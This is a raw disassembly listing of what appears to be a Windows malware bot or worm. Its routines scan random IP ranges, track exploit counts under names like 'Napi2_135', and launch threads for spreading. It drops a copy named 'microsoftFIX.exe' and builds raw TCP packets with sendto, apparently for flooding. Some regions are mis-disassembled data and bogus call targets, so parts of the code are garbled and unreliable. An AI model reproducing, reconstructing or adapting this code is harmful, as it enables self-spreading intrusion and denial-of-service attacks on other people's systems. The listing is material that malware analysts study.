		test	edi, edi
		jnz	short loc_4092B4
		cmp	bl, 2Dh
		jnz	short loc_4092A8
		mov	al, [ecx+1]
		lea	esi, [ecx+1]
		mov	cl, [ecx-1]
		cmp	cl, al
		jge	short loc_4092A8
		cmp	al, 5Dh
		jz	short loc_4092A8
		cmp	[ebp+var_4], edi
		jnz	short loc_4092A8
		mov	ebx, [ebp+arg_4]
		mov	ebx, [ebx]
		mov	bl, [ebx]
		cmp	bl, cl
		jl	short loc_4092B4
		cmp	bl, al
		jg	short loc_4092B4
		push	1
		mov	[edx], esi
		pop	edi
		jmp	short loc_4092B4
; ---------------------------------------------------------------------------


loc_4092A8:				; CODE XREF: sub_409242+38j
					; sub_409242+45j ...
		mov	eax, [ebp+arg_4]
		mov	eax, [eax]
		cmp	bl, [eax]
		jnz	short loc_4092B4
		push	1
		pop	edi


loc_4092B4:				; CODE XREF: sub_409242+33j
					; sub_409242+59j ...
		inc	dword ptr [edx]
		and	[ebp+var_4], 0
		push	1
		pop	eax
		jmp	short loc_409265
; ---------------------------------------------------------------------------


loc_4092BF:				; CODE XREF: sub_409242+2Fj
		cmp	[ebp+var_8], eax
		pop	esi
		pop	ebx
		jnz	short loc_4092CC
		mov	ecx, eax
		sub	ecx, edi
		mov	edi, ecx


loc_4092CC:				; CODE XREF: sub_409242+82j
		cmp	edi, eax
		jnz	short loc_4092D5
		mov	eax, [ebp+arg_4]
		inc	dword ptr [eax]


loc_4092D5:				; CODE XREF: sub_409242+8Cj
		mov	eax, edi
		pop	edi
		leave
		retn
sub_409242	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4092DA	proc near		; CODE XREF: sub_4091AC+59p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_4], 1
		inc	dword ptr [esi]
		mov	ecx, [esi]
		mov	eax, [edi]
		xor	ebx, ebx


loc_4092F6:				; CODE XREF: sub_4092DA+3Aj
		cmp	[eax], bl
		jz	short loc_409316
		mov	cl, [ecx]
		cmp	cl, 3Fh
		jz	short loc_40930B
		cmp	cl, 2Ah
		jnz	short loc_409316
		cmp	cl, 3Fh
		jnz	short loc_40930E


loc_40930B:				; CODE XREF: sub_4092DA+25j
		inc	eax
		mov	[edi], eax


loc_40930E:				; CODE XREF: sub_4092DA+2Fj
		inc	dword ptr [esi]
		mov	ecx, [esi]
		mov	eax, [edi]
		jmp	short loc_4092F6
; ---------------------------------------------------------------------------


loc_409316:				; CODE XREF: sub_4092DA+1Ej
					; sub_4092DA+2Aj ...
		mov	eax, [esi]
		cmp	byte ptr [eax],	2Ah
		jnz	short loc_409321
		inc	dword ptr [esi]
		jmp	short loc_409316
; ---------------------------------------------------------------------------


loc_409321:				; CODE XREF: sub_4092DA+41j
		mov	eax, [edi]
		mov	cl, [eax]
		cmp	cl, bl
		jnz	short loc_409342
		mov	edx, [esi]
		cmp	[edx], bl
		jz	short loc_409333
		xor	eax, eax
		jmp	short loc_4093A2
; ---------------------------------------------------------------------------


loc_409333:				; CODE XREF: sub_4092DA+53j
		cmp	cl, bl
		jnz	short loc_409342
		mov	ecx, [esi]
		cmp	[ecx], bl
		jnz	short loc_409342
		push	1
		pop	eax
		jmp	short loc_4093A2
; ---------------------------------------------------------------------------


loc_409342:				; CODE XREF: sub_4092DA+4Dj
					; sub_4092DA+5Bj ...
		push	eax
		push	dword ptr [esi]
		call	sub_4091AC
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40938C


loc_409350:				; CODE XREF: sub_4092DA+B0j
		inc	dword ptr [edi]
		mov	eax, [edi]


loc_409354:				; CODE XREF: sub_4092DA+90j
		mov	ecx, [esi]
		mov	dl, [eax]
		mov	cl, [ecx]
		cmp	cl, dl
		jz	short loc_40936C
		cmp	cl, 5Bh
		jz	short loc_40936C
		cmp	dl, bl
		jz	short loc_40936C
		inc	eax
		mov	[edi], eax
		jmp	short loc_409354
; ---------------------------------------------------------------------------


loc_40936C:				; CODE XREF: sub_4092DA+82j
					; sub_4092DA+87j ...
		mov	eax, [edi]
		cmp	[eax], bl
		jz	short loc_409383
		push	eax
		push	dword ptr [esi]
		call	sub_4091AC
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_409388
; ---------------------------------------------------------------------------


loc_409383:				; CODE XREF: sub_4092DA+96j
		mov	[ebp+var_4], ebx
		xor	eax, eax


loc_409388:				; CODE XREF: sub_4092DA+A7j
		cmp	eax, ebx
		jnz	short loc_409350


loc_40938C:				; CODE XREF: sub_4092DA+74j
		mov	eax, [edi]
		cmp	[eax], bl
		jnz	short loc_40939F
		mov	eax, [esi]
		cmp	[eax], bl
		jnz	short loc_40939F
		mov	[ebp+var_4], 1


loc_40939F:				; CODE XREF: sub_4092DA+B6j
					; sub_4092DA+BCj
		mov	eax, [ebp+var_4]


loc_4093A2:				; CODE XREF: sub_4092DA+57j
					; sub_4092DA+66j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4092DA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4093A7	proc near		; CODE XREF: sub_403038+3F48p

var_400		= byte ptr -400h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 400h
		push	ebx
		push	edi
		lea	eax, [ebp+var_200]
		push	offset unk_43E2FC
		push	eax
		xor	ebx, ebx
		call	sub_4171D0
		cmp	dword_43DE38, ebx
		pop	ecx
		pop	ecx
		mov	edi, 200h
		jz	short loc_409419
		push	esi
		mov	esi, offset dword_43DE40


loc_4093DA:				; CODE XREF: sub_4093A7+6Fj
		mov	eax, [esi]
		test	eax, eax
		jbe	short loc_40940F
		add	ebx, eax
		push	eax
		lea	eax, [esi-26h]
		push	eax
		lea	eax, [ebp+var_400]
		push	offset dword_43E31C
		push	eax
		call	sub_4171D0
		lea	eax, [ebp+var_400]
		push	edi
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_418680
		add	esp, 1Ch


loc_40940F:				; CODE XREF: sub_4093A7+37j
		add	esi, 40h
		cmp	dword ptr [esi-8], 0
		jnz	short loc_4093DA
		pop	esi


loc_409419:				; CODE XREF: sub_4093A7+2Bj
		push	dword_4D3014
		call	sub_413F6C
		push	eax
		push	ebx
		lea	eax, [ebp+var_400]
		push	offset aTotalDInS_ ; " Total: %d in %s."
		push	eax
		call	sub_4171D0
		lea	eax, [ebp+var_400]
		push	edi
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_418680
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_401445
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_410557
		add	esp, 38h
		pop	edi
		pop	ebx
		leave
		retn
sub_4093A7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409475	proc near		; CODE XREF: sub_403038+3F32p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		mov	eax, dword_4D5AE0
		mov	ecx, dword_4D5ADC
		push	esi
		push	dword_4D3014
		lea	esi, [ecx+eax]
		call	sub_413F6C
		push	eax
		push	esi
		push	dword_4D5AE0
		lea	eax, [ebp+var_200]
		push	dword_4D5ADC
		push	offset unk_43E33C
		push	eax
		call	sub_4171D0
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_401445
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_410557
		add	esp, 34h
		pop	esi
		leave
		retn
sub_409475	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4094E0	proc near		; CODE XREF: sub_403038+3F1Cp

var_1000	= byte ptr -1000h
var_800		= byte ptr -800h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, 1000h
		call	sub_417E20
		push	edi
		lea	eax, [ebp+var_800]
		push	offset dword_43E384
		push	eax
		call	sub_4171D0
		cmp	dword_43DE38, 0
		pop	ecx
		pop	ecx
		mov	edi, 800h
		jz	short loc_40954C
		push	esi
		mov	esi, offset aNapi2_135 ; "Napi2_135"


loc_409515:				; CODE XREF: sub_4094E0+69j
		lea	eax, [esi-0Ah]
		push	eax
		push	esi
		lea	eax, [ebp+var_1000]
		push	offset dword_43E3A0
		push	eax
		call	sub_4171D0
		lea	eax, [ebp+var_1000]
		push	edi
		push	eax
		lea	eax, [ebp+var_800]
		push	eax
		call	sub_418680
		add	esi, 40h
		add	esp, 1Ch
		cmp	dword ptr [esi+1Eh], 0
		jnz	short loc_409515
		pop	esi


loc_40954C:				; CODE XREF: sub_4094E0+2Dj
		push	dword_4D3014
		call	sub_413F6C
		push	eax
		lea	eax, [ebp+var_1000]
		push	offset aScanTimeS_ ; " Scan Time: %s."
		push	eax
		call	sub_4171D0
		lea	eax, [ebp+var_1000]
		push	edi
		push	eax
		lea	eax, [ebp+var_800]
		push	eax
		call	sub_418680
		push	0
		lea	eax, [ebp+var_800]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_401445
		lea	eax, [ebp+var_800]
		push	eax
		call	sub_410557
		add	esp, 34h
		pop	edi
		leave
		retn
sub_4094E0	endp

; ---------------------------------------------------------------------------
word_4095A6	dw 8B55h		; DATA XREF: sub_403038+20A1o
		dd 0F0EC81ECh, 8B000003h, 56530845h, 8B4B6A57h,	0BD8D59F0h
		dd 0FFFFFECCh, 80C7A5F3h, 128h,	1, 0FECC858Dh, 0FF50FFFFh
		dd 44538815h, 89FF3300h, 3D39F845h, 43DE38h, 89FC7D89h
		dd 840F087Dh, 114h, 43DE38BBh
		db 0, 8Bh, 0C3h
; ---------------------------------------------------------------------------


loc_4095F7:				; CODE XREF: ___:004096FEj
		push	dword ptr [ebp-1Ch]
		push	dword ptr [eax]
		push	dword ptr [ebp-8]
		call	sub_409C62
		add	esp, 0Ch
		cmp	eax, 1
		jnz	loc_4096F4
		push	dword ptr [ebx]
		lea	esi, [ebx-28h]
		lea	eax, [ebp-134h]
		push	eax
		lea	eax, [esi+0Ah]
		push	eax
		lea	eax, [ebp-3F0h]
		push	offset unk_43E3C0
		push	eax
		call	sub_4171D0
		push	edi
		lea	eax, [ebp-3F0h]
		push	dword ptr [ebp-14h]
		push	eax
		lea	eax, [ebp-124h]
		push	eax
		push	dword ptr [ebp-24h]
		call	sub_401445
		lea	eax, [ebp-3F0h]
		push	eax
		call	sub_410557
		lea	eax, [ebp-134h]
		push	eax
		lea	eax, [ebp-1ECh]
		push	eax
		call	sub_4171D0
		lea	eax, [ebp-15Ch]
		push	esi
		push	eax
		call	sub_4171D0
		add	esp, 3Ch
		cmp	byte ptr [ebp-0A4h], 0
		lea	eax, [ebp-0A4h]
		jnz	short loc_40968F
		lea	eax, [ebp-124h]


loc_40968F:				; CODE XREF: ___:00409687j
		push	eax
		lea	eax, [ebp-1DCh]
		push	eax
		call	sub_4171D0
		mov	eax, [ebp-24h]
		pop	ecx
		mov	[ebp-1F0h], eax
		mov	eax, [ebp-14h]
		mov	[ebp-140h], eax
		mov	eax, [ebp-10h]
		pop	ecx
		mov	[ebp-13Ch], eax
		mov	eax, [ebx]
		sub	esp, 0BCh
		mov	[ebp-150h], eax
		mov	eax, [ebp-18h]
		push	2Fh
		mov	[ebp-14Ch], eax
		mov	eax, [ebp+8]
		pop	ecx
		lea	esi, [ebp-1F0h]
		mov	edi, esp
		mov	[ebp-148h], eax
		rep movsd
		call	dword ptr [ebx+4]
		add	esp, 0BCh
		inc	dword ptr [ebp-4]
		xor	edi, edi


loc_4096F4:				; CODE XREF: ___:0040960Aj
		inc	dword ptr [ebp+8]
		add	ebx, 40h
		mov	eax, ebx
		cmp	[ebx], edi
		jnz	loc_4095F7
		push	dword ptr [ebp-4]
		lea	eax, [ebp-134h]
		push	eax
		lea	eax, [ebp-3F0h]
		push	offset unk_43E3F0
		push	eax
		call	sub_4171D0
		push	edi
		lea	eax, [ebp-3F0h]
		push	dword ptr [ebp-14h]
		push	eax
		lea	eax, [ebp-124h]
		push	eax
		push	dword ptr [ebp-24h]
		call	sub_401445
		lea	eax, [ebp-3F0h]
		push	eax
		call	sub_410557
		push	dword ptr [ebp-18h]
		call	sub_40916F
		add	esp, 2Ch
		push	edi
		nop
; ---------------------------------------------------------------------------
		dw 0A9E8h
		db 68h,	2Fh, 2

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409757	proc near		; CODE XREF: sub_403038+38A6p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	0Bh
		call	sub_40909B
		test	eax, eax
		pop	ecx
		jle	short loc_409793
		mov	eax, [ebp+arg_C]
		push	dword_4D31C0[eax*8]
		call	dword_4453D4
		push	eax
		lea	eax, [ebp+var_200]
		push	offset unk_43E424
		push	eax
		call	sub_4171D0
		add	esp, 0Ch
		jmp	short loc_4097A6
; ---------------------------------------------------------------------------


loc_409793:				; CODE XREF: sub_409757+13j
		lea	eax, [ebp+var_200]
		push	offset unk_43E440
		push	eax
		call	sub_4171D0
		pop	ecx
		pop	ecx


loc_4097A6:				; CODE XREF: sub_409757+3Aj
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_401445
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_410557
		add	esp, 18h
		leave
		retn
sub_409757	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4097CE	proc near		; CODE XREF: sub_409ECC+263p

var_214		= dword	ptr -214h
var_204		= byte ptr -204h
var_4		= byte ptr -4
arg_10		= byte ptr  18h
arg_90		= byte ptr  98h
arg_110		= dword	ptr  118h
arg_130		= dword	ptr  138h
arg_138		= dword	ptr  140h
arg_13C		= dword	ptr  144h

		push	ebp
		mov	ebp, esp
		sub	esp, 204h
		mov	eax, [ebp+arg_130]
		push	ebx
		push	esi
		cmp	eax, 0FFFFFFFFh
		push	edi
		jz	loc_409B79
		shl	eax, 6
		xor	ebx, ebx
		cmp	dword_43DE44[eax], ebx
		jz	loc_409B79
		push	5
		call	sub_40909B
		mov	edi, dword_4DD2C4
		pop	ecx
		test	eax, eax
		jnz	loc_409A55
		mov	eax, dword_436C0C
		mov	esi, offset dword_4D51DC
		push	104h
		push	esi
		push	ebx
		mov	dword_4D53EC, eax
		mov	dword_4D53E8, ebx
		call	edi
		push	103h
		push	offset aMicrosoftfix_e ; "microsoftFIX.exe"
		push	offset dword_4D52E0
		call	sub_417770
		mov	eax, [ebp+arg_110]
		add	esp, 0Ch
		cmp	[ebp+arg_90], bl
		mov	dword_4D51D8, eax
		mov	eax, [ebp+arg_138]
		push	7Fh
		mov	dword_4D5470, eax
		jnz	short loc_409882
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_4D53F0
		call	sub_417770
		add	esp, 0Ch
		mov	dword_4D5474, 1
		jmp	short loc_40989C
; ---------------------------------------------------------------------------


loc_409882:				; CODE XREF: sub_4097CE+95j
		lea	eax, [ebp+arg_90]
		push	eax
		push	offset dword_4D53F0
		call	sub_417770
		add	esp, 0Ch
		mov	dword_4D5474, ebx


loc_40989C:				; CODE XREF: sub_4097CE+B2j
		push	esi
		lea	eax, [ebp+var_204]
		push	dword_4D53EC
		push	offset unk_43E460
		push	eax
		call	sub_4171D0
		push	ebx
		lea	eax, [ebp+var_204]
		push	5
		push	eax
		call	sub_408E53
		add	esp, 1Ch
		mov	dword_4D53E4, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4D51D8
		push	offset byte_40FFAF
		push	ebx
		push	ebx
		call	near ptr 26A08FFh
		nop
		mov	ecx, dword_4D53E4
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_446224[ecx], eax
		jz	short loc_40990A


loc_4098F8:				; CODE XREF: sub_4097CE+13Aj
		cmp	dword_4D5478, ebx
		jnz	short loc_409925
		push	32h
		nop
		call	near ptr 2690599h
		jmp	short loc_4098F8
; ---------------------------------------------------------------------------


loc_40990A:				; CODE XREF: sub_4097CE+128j
		nop
		call	near ptr 26908EFh
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_43E494
		push	eax
		call	sub_4171D0
		add	esp, 0Ch


loc_409925:				; CODE XREF: sub_4097CE+130j
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_410557
		mov	eax, dword_4D3010
		mov	esi, offset dword_4D5484
		mov	[esp+214h+var_214], 104h
		push	esi
		push	ebx
		mov	dword_4D5694, eax
		mov	dword_4D5690, ebx
		call	edi
		push	103h
		push	offset aMicrosoftfix_e ; "microsoftFIX.exe"
		push	offset dword_4D5588
		call	sub_417770
		mov	eax, [ebp+arg_110]
		add	esp, 0Ch
		cmp	[ebp+arg_90], bl
		mov	dword_4D5480, eax
		mov	eax, [ebp+arg_138]
		push	7Fh
		mov	dword_4D5718, eax
		jnz	short loc_4099A5
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_4D5698
		call	sub_417770
		add	esp, 0Ch
		mov	dword_4D571C, 1
		jmp	short loc_4099BF
; ---------------------------------------------------------------------------


loc_4099A5:				; CODE XREF: sub_4097CE+1B8j
		lea	eax, [ebp+arg_90]
		push	eax
		push	offset dword_4D5698
		call	sub_417770
		add	esp, 0Ch
		mov	dword_4D571C, ebx


loc_4099BF:				; CODE XREF: sub_4097CE+1D5j
		push	esi
		lea	eax, [ebp+var_204]
		push	dword_4D5694
		push	offset unk_43E4C8
		push	eax
		call	sub_4171D0
		push	ebx
		lea	eax, [ebp+var_204]
		push	4
		push	eax
		call	sub_408E53
		add	esp, 1Ch
		mov	dword_4D568C, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4D5480
		push	offset dword_40D1AC
		push	ebx
		push	ebx
		nop
		call	near ptr 26A08FFh
		mov	ecx, dword_4D568C
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_446224[ecx], eax
		jz	short loc_409A2D


loc_409A1B:				; CODE XREF: sub_4097CE+25Dj
		cmp	dword_4D5720, ebx
		jnz	short loc_409A48
		push	32h
		call	near ptr 2690599h
		nop
		jmp	short loc_409A1B
; ---------------------------------------------------------------------------


loc_409A2D:				; CODE XREF: sub_4097CE+24Bj
		call	near ptr 26908EFh
		nop
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_43E4FC
		push	eax
		call	sub_4171D0
		add	esp, 0Ch


loc_409A48:				; CODE XREF: sub_4097CE+253j
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_410557
		pop	ecx


loc_409A55:				; CODE XREF: sub_4097CE+3Cj
		mov	eax, [ebp+arg_130]
		shl	eax, 6
		cmp	dword_43DE48[eax], ebx
		jz	loc_409B79
		push	3
		call	sub_40909B
		test	eax, eax
		pop	ecx
		jnz	loc_409B79
		mov	esi, offset dword_4D59B4
		push	104h
		push	esi
		push	ebx
		call	edi
		push	5Ch
		push	esi
		call	sub_418310
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_409A98
		mov	[eax], bl


loc_409A98:				; CODE XREF: sub_4097CE+2C6j
		mov	eax, dword_436C10
		mov	dword_4D5ACC, ebx
		mov	dword_4D5AB8, eax
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_4D572C
		call	sub_4171D0
		mov	eax, [ebp+arg_110]
		pop	ecx
		pop	ecx
		mov	dword_4D5728, eax
		mov	ecx, [ebp+arg_138]
		push	esi
		push	dword_4D5AB8
		mov	dword_4D5AC4, ecx
		mov	ecx, [ebp+arg_13C]
		push	eax
		mov	dword_4D5AC8, ecx
		call	sub_40267D
		pop	ecx
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_43E530
		push	eax
		call	sub_4171D0
		push	ebx
		lea	eax, [ebp+var_204]
		push	3
		push	eax
		call	sub_408E53
		add	esp, 20h
		mov	dword_4D5AC0, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4D5728
		push	offset sub_40D8F7
		push	ebx
		push	ebx
		nop
		call	near ptr 26A08FFh
		mov	ecx, dword_4D5AC0
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_446224[ecx], eax
		jz	short loc_409B51


loc_409B3F:				; CODE XREF: sub_4097CE+381j
		cmp	dword_4D5AD4, ebx
		jnz	short loc_409B6C
		push	32h
		nop
		call	near ptr 2690599h
		jmp	short loc_409B3F
; ---------------------------------------------------------------------------


loc_409B51:				; CODE XREF: sub_4097CE+36Fj
		nop
		call	near ptr 26908EFh
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_43E56C
		push	eax
		call	sub_4171D0
		add	esp, 0Ch


loc_409B6C:				; CODE XREF: sub_4097CE+377j
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_410557
		pop	ecx


loc_409B79:				; CODE XREF: sub_4097CE+15j
					; sub_4097CE+26j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4097CE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409B7E	proc near		; CODE XREF: sub_409ECC:loc_409F3Dp

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		push	esi
		push	4
		lea	esi, ds:4D31C0h[eax*8]
		lea	eax, [ebp+arg_0]
		push	esi
		push	eax
		call	sub_4187B0
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	dword_445270
		inc	eax
		push	eax
		mov	[ebp+arg_0], eax
		call	dword_445344
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+arg_0]
		push	4
		push	eax
		push	esi
		call	sub_4187B0
		mov	eax, [esi]
		add	esp, 0Ch
		pop	esi
		pop	ebp
		retn
sub_409B7E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409BC6	proc near		; CODE XREF: sub_409ECC+69p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		or	esi, 0FFFFFFFFh
		push	[ebp+arg_0]
		mov	[ebp+var_C], esi
		mov	[ebp+var_8], esi
		mov	[ebp+var_4], esi
		mov	[ebp+var_10], esi
		call	sub_414BE0
		cmp	eax, 0Fh
		pop	ecx
		jbe	short loc_409BEE
		xor	eax, eax
		jmp	short loc_409C5F
; ---------------------------------------------------------------------------


loc_409BEE:				; CODE XREF: sub_409BC6+22j
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		push	offset aD_D_D_D_0 ; "%d.%d.%d.%d"
		push	[ebp+arg_0]
		call	sub_418AF0
		add	esp, 18h
		cmp	[ebp+var_C], esi
		jnz	short loc_409C1B
		call	sub_417B10
		mov	[ebp+var_C], eax


loc_409C1B:				; CODE XREF: sub_409BC6+4Bj
		cmp	[ebp+var_8], esi
		jnz	short loc_409C28
		call	sub_417B10
		mov	[ebp+var_8], eax


loc_409C28:				; CODE XREF: sub_409BC6+58j
		cmp	[ebp+var_4], esi
		jnz	short loc_409C35
		call	sub_417B10
		mov	[ebp+var_4], eax


loc_409C35:				; CODE XREF: sub_409BC6+65j
		mov	eax, [ebp+var_10]
		cmp	eax, esi
		jnz	short loc_409C41
		call	sub_417B10


loc_409C41:				; CODE XREF: sub_409BC6+74j
		shl	eax, 8
		add	eax, [ebp+var_4]
		mov	ecx, [ebp+var_C]
		shl	eax, 8
		add	eax, [ebp+var_8]
		shl	eax, 8
		add	eax, ecx
		mov	ecx, [ebp+arg_4]
		mov	dword_4D31C0[ecx*8], eax


loc_409C5F:				; CODE XREF: sub_409BC6+26j
		pop	esi
		leave
		retn
sub_409BC6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409C62	proc near		; CODE XREF: ___:004095FFp
					; sub_409ECC+B8p ...

var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 120h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	edi
		xor	ebx, ebx
		push	ebx
		push	edi
		push	2
		mov	[ebp+var_4], edi
		call	dword_4453C8
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_409C8B
		xor	eax, eax
		jmp	short loc_409CFA
; ---------------------------------------------------------------------------


loc_409C8B:				; CODE XREF: sub_409C62+23j
		mov	eax, [ebp+arg_0]
		push	[ebp+arg_4]
		mov	[ebp+var_1C], 2
		mov	[ebp+var_18], eax
		call	dword_445348
		mov	[ebp+var_1A], ax
		lea	eax, [ebp+var_4]
		push	eax
		push	8004667Eh
		push	esi
		call	dword_4453E4
		lea	eax, [ebp+var_1C]
		push	10h
		push	eax
		push	esi
		call	dword_4452F0
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_8], ebx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_120]
		push	ebx
		push	eax
		push	ebx
		push	ebx
		mov	[ebp+var_11C], esi
		mov	[ebp+var_120], edi
		call	dword_445330
		push	esi
		mov	edi, eax
		call	dword_4453E0
		xor	eax, eax
		cmp	edi, ebx
		setnle	al


loc_409CFA:				; CODE XREF: sub_409C62+27j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_409C62	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	eax, 10110h
		call	sub_417E20
		push	ebx
		push	esi
		push	edi
		mov	edi, 2649h
		push	edi
		call	dword_445348
		push	dword ptr [ebp+10h]
		mov	[ebp-28h], ax
		call	dword_445348
		mov	[ebp-26h], ax
		call	sub_417B10
		xor	ebx, ebx
		push	200h
		mov	[ebp-24h], eax
		mov	[ebp-20h], ebx
		mov	[ebp-1Ch], bx
		mov	[ebp-0Ch], bx
		mov	word ptr [ebp-1Ah], 5
		mov	[ebp-18h], bx
		mov	word ptr [ebp-16h], 1
		mov	[ebp-14h], bx
		mov	[ebp-12h], bx
		mov	[ebp-10h], bx
		mov	[ebp-0Eh], bx
		call	dword_445348
		mov	esi, [ebp+0Ch]
		mov	[ebp-0Ah], ax
		mov	eax, [ebp+8]
		push	24h
		mov	[ebp-8], bx
		mov	[ebp-6], bx
		mov	[ebp-58h], eax
		mov	[ebp-54h], esi
		mov	[ebp-50h], bl
		mov	byte ptr [ebp-4Fh], 6
		call	dword_445348
		mov	[ebp-4Eh], ax
		lea	eax, [ebp-28h]
		push	24h
		push	eax
		lea	eax, [ebp-4Ch]
		push	eax
		call	sub_4187B0
		lea	eax, [ebp-58h]
		push	20h
		push	eax
		call	sub_4026D6
		mov	[ebp-8], ax
		push	10h
		lea	eax, [ebp-38h]
		push	ebx
		push	eax
		call	sub_417070
		add	esp, 20h
		mov	word ptr [ebp-38h], 2
		push	dword ptr [ebp+10h]
		call	dword_445348
		push	6
		push	3
		push	2
		mov	[ebp-36h], ax
		mov	[ebp-34h], esi
		mov	dword ptr [ebp-4], 10h
		call	dword_4453C8
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_409DFE
		push	offset aSocketOpenFail ; "socket open failed"
		jmp	loc_409EBF
; ---------------------------------------------------------------------------


loc_409DFE:				; CODE XREF: ___:00409DF2j
		push	dword ptr [ebp-4]
		lea	eax, [ebp-38h]
		push	eax
		push	ebx
		lea	eax, [ebp-28h]
		push	24h
		push	eax
		push	esi
		call	dword_4453AC
		cmp	eax, 14h
		mov	[ebp+10h], eax
		jz	short loc_409E47
		call	dword_4452DC
		push	eax
		lea	eax, [ebp-0D8h]
		push	dword ptr [ebp+10h]
		push	offset aSendtoSocketFa ; "sendto() socket failed. sent = %d <%d>."...
		push	eax
		call	sub_4171D0
		lea	eax, [ebp-0D8h]
		push	eax
		call	sub_410557
		add	esp, 14h
		jmp	short loc_409E90
; ---------------------------------------------------------------------------


loc_409E47:				; CODE XREF: ___:00409E19j
		push	10038h
		lea	eax, [ebp-10110h]
		push	ebx
		push	eax
		call	sub_417070
		add	esp, 0Ch


loc_409E5C:				; CODE XREF: ___:00409E83j
		cmp	[ebp-100FAh], di
		jz	short loc_409E99
		lea	eax, [ebp-4]
		push	eax
		lea	eax, [ebp-38h]
		push	eax
		push	ebx
		lea	eax, [ebp-10110h]
		push	10038h
		push	eax
		push	esi
		call	dword_445320
		test	eax, eax
		jge	short loc_409E5C
		push	offset aRecvfromSocket ; "recvfrom() socket failed"
		call	sub_410557
		pop	ecx


loc_409E90:				; CODE XREF: ___:00409E45j
		push	esi
		call	dword_4453E0
		jmp	short loc_409EC5
